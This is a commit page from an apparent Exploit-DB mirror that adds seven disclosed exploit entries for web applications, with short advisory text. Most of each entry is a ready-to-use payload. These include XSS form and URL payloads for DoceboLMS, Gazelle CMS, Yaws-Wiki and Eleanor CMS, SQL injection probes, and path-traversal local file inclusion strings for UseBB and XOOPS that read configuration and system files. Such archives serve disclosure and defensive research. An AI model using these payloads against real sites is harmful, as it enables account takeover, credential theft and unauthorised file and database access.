bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

Updated 12_19_2014

Browse source
This commit is contained in:
Offensive Security 2014-12-19 04:52:42 +00:00
parent a4940a7faa
commit 9af5846cb9
8 changed files with 141 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

7
files.csv
View file

@ -32028,3 +32028,10 @@ id,file,description,date,author,platform,type,port
35561,platforms/php/webapps/35561.txt,"WPwizz AdWizz Plugin 1.0 'link' Parameter Cross Site Scripting Vulnerability",2011-04-04,"John Leitch",php,webapps,0
35562,platforms/php/webapps/35562.txt,"Placester WordPress Plugin 0.1 'ajax_action' Parameter Cross Site Scripting Vulnerability",2011-04-03,"John Leitch",php,webapps,0
35563,platforms/windows/remote/35563.pl,"EasyPHP 5.3.5.0 'index.php' Arbitrary File Download Vulnerability",2011-04-03,KedAns-Dz,windows,remote,0
35564,platforms/php/webapps/35564.txt,"DoceboLMS 4.0.4 'index.php' Multiple HTML Injection Vulnerabilities",2011-04-03,LiquidWorm,php,webapps,0
35565,platforms/php/webapps/35565.txt,"Anantasoft Gazelle CMS 1.0 Cross Site Scripting and SQL Injection Vulnerabilities",2011-04-04,"kurdish hackers team",php,webapps,0
35566,platforms/php/webapps/35566.txt,"Yaws-Wiki 1.88-1 Multiple Cross Site Scripting and HTML Injection Vulnerabilities",2011-04-04,"Michael Brooks",php,webapps,0
35567,platforms/php/webapps/35567.txt,"Eleanor CMS Cross Site Scripting and Multiple SQL Injection Vulnerabilities",2011-04-05,"High-Tech Bridge SA",php,webapps,0
35568,platforms/php/webapps/35568.txt,"UseBB 1.0.11 'admin.php' Local File Include Vulnerability",2011-04-05,"High-Tech Bridge SA",php,webapps,0
35569,platforms/php/webapps/35569.txt,"XOOPS 2.5 'banners.php' Multiple Local File Include Vulnerabilities",2011-04-04,KedAns-Dz,php,webapps,0
35570,platforms/multiple/remote/35570.txt,"python-feedparser 5.0 'feedparser/feedparser.py' Cross Site Scripting Vulnerability",2011-04-05,fazalmajid,multiple,remote,0

Can't render this file because it is too large.

18
platforms/multiple/remote/35570.txt Executable file
View file

@ -0,0 +1,18 @@
source: http://www.securityfocus.com/bid/47177/info
python-feedparser is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
<!--
Description: ensure nested CDATA sections are sanitized properly
Expect: bozo and entries[0]['content'][0]['value'] == u'<![CDATA[]]>'
-->
<rss xmlns:content="http://www.example.com/rss/1.0/modules/content/" version="2.0">
<channel>
<item>
<content:encoded><![CDATA[<![CDATA[<script></script>]]>]]></content:encoded>
</item>
</channel>
</rss

51
platforms/php/webapps/35564.txt Executable file
View file

@ -0,0 +1,51 @@
source: http://www.securityfocus.com/bid/47150/info
DoceboLMS is prone to multiple HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
DoceboLMS 4.0.4 is vulnerable; other versions may also be affected.
<html>
<title>DoceboLMS 4.0.4 Multiple Stored XSS Vulnerabilities</title>
<body bgcolor="#1C1C1C">
<script type="text/javascript">
function xss1(){document.forms["xss1"].submit();}
function xss2(){document.forms["xss2"].submit();}
</script>
<br /><br />
<form action="http://www.example.com/DoceboLMS_404/doceboCore/index.php?modname=preassessment&op=modassessment" enctype="application/x-www-form-urlencoded" method="POST" id="xss1">
<input type="hidden" name="authentic_request" value="23dfee506a748201730ab2bb7486e77a" />
<input type="hidden" name="code" value=&#039;"><script>alert(1)</script>&#039; />
<input type="hidden" name="description" value="ZSL" />
<input type="hidden" name="id_assess" value="0" />
<input type="hidden" name="name" value=&#039;"><script>alert(2)</script>&#039; />
<input type="hidden" name="save" value="Save changes" /></form>
<a href="javascript: xss1();" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit PreAssessment Module!</h3></center></font></b></a><br /><br />
<form action="http://www.example.com/DoceboLMS_404/doceboCore/index.php?modname=news&op=savenews" enctype="application/x-www-form-urlencoded" method="POST" id="xss2">
<input type="hidden" name="authentic_request" value="23dfee506a748201730ab2bb7486e77a" />
<input type="hidden" name="language" value="2" />
<input type="hidden" name="long_desc" value="" />
<input type="hidden" name="news" value="Insert" />
<input type="hidden" name="short_desc" value="ZSL" />
<input type="hidden" name="title" value=&#039;"><script>alert(1)</script>&#039; /></form>
<a href="javascript: xss2();" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit News Module!</h3></center></font></b></a><br /><br />
<a href="http://www.example.com/DoceboLMS_404/index.php?<script>alert(1)</script>" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit URI XSS #1</h3></center></font></b></a><br /><br />
<a href="http://www.example.com/DoceboLMS_404/?<script>alert(1)</script>" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit URI XSS #2</h3></center></font></b></a><br /><br />
<a href="http://www.example.com/DoceboLMS_404/docebolms/index.php/index.php?<script>alert(1)</script>" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit URI XSS #3</h3></center></font></b></a><br /><br />
<a href="http://www.example.com/DoceboLMS_404/docebolms/?<script>alert(1)</script>" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit URI XSS #4</h3></center></font></b></a><br /><br />
</body></html>

11
platforms/php/webapps/35565.txt Executable file
View file

@ -0,0 +1,11 @@
source: http://www.securityfocus.com/bid/47157/info
Anantasoft Gazelle CMS is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Anantasoft Gazelle CMS 1.0 is vulnerable; other versions may also be affected.
http://www.example.com/search.php?lookup=<script>alert(888)</script>
http://www.example.com//register.php?^name=&pass=&controle=&email=&showemail=&save=Save&table=users&active=0&activate=3fb04953d95a94367bb133f862402bce&location=%2FAnanta_Gazelle1.0%2Fregister.php&joindate=2011-04-05+07%3A58%3A50 [is vulnerable to &#039; input SQL inject]

16
platforms/php/webapps/35566.txt Executable file
View file

@ -0,0 +1,16 @@
source: http://www.securityfocus.com/bid/47158/info
Yaws-Wiki is prone to multiple cross-site scripting vulnerabilities and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.
Yaws-Wiki 1.88-1 is vulnerable; other versions may also be affected.
Reflective XSS:
http://www.example.com/editTag.yaws?node=ALockedPage&tag=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://www.example.com/showOldPage.yaws?node=home&index=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://www.example.com/allRefsToMe.yaws?node=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
Stored XSS:
http://www.example.com/editPage.yaws?node=home

18
platforms/php/webapps/35567.txt Executable file
View file

@ -0,0 +1,18 @@
source: http://www.securityfocus.com/bid/47164/info
Eleanor CMS is prone to a cross-site scripting vulnerability and multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.
Exploiting these issues could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Eleanor CMS rc5 is vulnerable; other versions may also be affected.
SQL injection:
http://www.example.com/download.php?module=1%27
http://www.example.com/upload.php?module=1%27
Cross-site scripting:
POST /admin.php HTTP/1.1
user_name=111&pass=222&whereform="><script>alert("XSS");</script>&submit=%C2%EE%E9%F2%E8

9
platforms/php/webapps/35568.txt Executable file
View file

@ -0,0 +1,9 @@
source: http://www.securityfocus.com/bid/47166/info
UseBB is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.
An attacker can exploit this vulnerability to obtain potentially sensitive information and execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.
UseBB 1.0.11 is vulnerable; other versions may also be affected.
http://www.example.com/admin.php?act=/../../config

11
platforms/php/webapps/35569.txt Executable file
View file

@ -0,0 +1,11 @@
source: http://www.securityfocus.com/bid/47174/info
XOOPS is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these vulnerabilities to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.
XOOPS 2.5.0 is vulnerable; other versions may also be affected.
http://www.example.com/banners.php?click=../../../../../../../boot.ini%00
http://www.example.com/banners.php?click&url=../../../../../../../boot.ini%00
http://www.example.com/banners.php?click&bid=../../../../../../../boot.ini%00